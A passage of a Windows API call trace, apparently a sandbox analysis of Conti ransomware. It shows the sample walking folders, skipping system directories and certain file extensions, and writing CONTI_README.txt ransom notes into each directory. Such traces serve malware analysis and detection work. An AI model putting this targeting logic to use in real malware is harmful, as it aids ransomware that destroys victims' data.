	[0106.591] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1
	[0106.591] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2=".") returned 1
	[0106.591] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="..") returned 1
	[0106.591] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="tmp") returned -1
	[0106.591] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="winnt") returned -1
	[0106.591] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="Application Data") returned -1
	[0106.591] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="AppData") returned -1
	[0106.592] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="temp") returned -1
	[0106.592] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="thumb") returned -1
	[0106.592] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="$Recycle.Bin") returned 1
	[0106.592] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="$RECYCLE.BIN") returned 1
	[0106.592] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="System Volume Information") returned -1
	[0106.592] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="Program Files") returned -1
	[0106.592] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="Program Files (x86)") returned -1
	[0106.592] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="Boot") returned -1
	[0106.592] lstrcmpiW (lpString1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="Windows") returned -1
	[0106.592] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.592] lstrlenW (lpString="{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned 38
	[0106.592] GetProcessHeap () returned 0x1720000
	[0106.592] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173f098
	[0106.592] lstrcpyW (in: lpString1=0x173f098, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.592] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.592] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}"
	[0106.592] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned 76
	[0106.592] GetProcessHeap () returned 0x1720000
	[0106.592] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173e6c0
	[0106.592] lstrcpyW (in: lpString1=0x173e6c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}"
	[0106.592] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\*"
	[0106.592] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned 76
	[0106.592] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.592] GetProcessHeap () returned 0x1720000
	[0106.592] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6510aa0
	[0106.592] lstrcpyW (in: lpString1=0x6510aa0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}"
	[0106.592] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\"
	[0106.592] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\CONTI_README.txt"
	[0106.592] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.599] GetProcessHeap () returned 0x1720000
	[0106.599] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510aa0 | out: hHeap=0x1720000) returned 1
	[0106.599] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.599] CloseHandle (hObject=0x3a8) returned 1
	[0106.599] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53611ace, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8370
	[0106.600] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.600] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53611ace, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.600] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.600] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.600] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53611ace, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53611ace, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53611ace, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.600] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.600] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.600] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.600] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.600] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410decf, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410decf, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5410decf, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc1, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="")) returned 1
	[0106.600] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.600] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.600] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.600] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.600] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.600] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.600] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.600] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.600] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.600] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.600] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned 76
	[0106.600] lstrlenW (lpString="customizations.xml") returned 18
	[0106.600] GetProcessHeap () returned 0x1720000
	[0106.600] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x6510f50
	[0106.600] lstrcpyW (in: lpString1=0x6510f50, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}"
	[0106.600] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\"
	[0106.600] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"
	[0106.600] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1
	[0106.601] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.601] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.601] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.601] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.601] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.601] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.601] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.601] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.601] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.601] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.601] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned 76
	[0106.601] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.601] GetProcessHeap () returned 0x1720000
	[0106.601] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d648
	[0106.601] lstrcpyW (in: lpString1=0x181d648, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}"
	[0106.601] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\"
	[0106.601] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml"
	[0106.601] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.601] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.601] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned 76
	[0106.601] lstrlenW (lpString="Prov") returned 4
	[0106.601] GetProcessHeap () returned 0x1720000
	[0106.602] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.602] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}"
	[0106.602] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\"
	[0106.602] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov"
	[0106.602] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned 81
	[0106.602] GetProcessHeap () returned 0x1720000
	[0106.602] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x6587ca0
	[0106.602] lstrcpyW (in: lpString1=0x6587ca0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov"
	[0106.602] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\*"
	[0106.602] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned 81
	[0106.602] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.602] GetProcessHeap () returned 0x1720000
	[0106.602] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181cd58
	[0106.602] lstrcpyW (in: lpString1=0x181cd58, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov"
	[0106.602] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\"
	[0106.602] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\CONTI_README.txt"
	[0106.602] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.607] GetProcessHeap () returned 0x1720000
	[0106.607] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cd58 | out: hHeap=0x1720000) returned 1
	[0106.607] WriteFile (in: hFile=0x398, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.608] CloseHandle (hObject=0x398) returned 1
	[0106.608] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53611ace, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7fb0
	[0106.608] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.608] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53611ace, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.608] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.608] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.608] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53611ace, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53611ace, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53637b78, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.608] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.608] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.608] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.608] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.608] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.608] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.609] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned 81
	[0106.609] lstrlenW (lpString="RunTime") returned 7
	[0106.609] GetProcessHeap () returned 0x1720000
	[0106.609] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.609] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov"
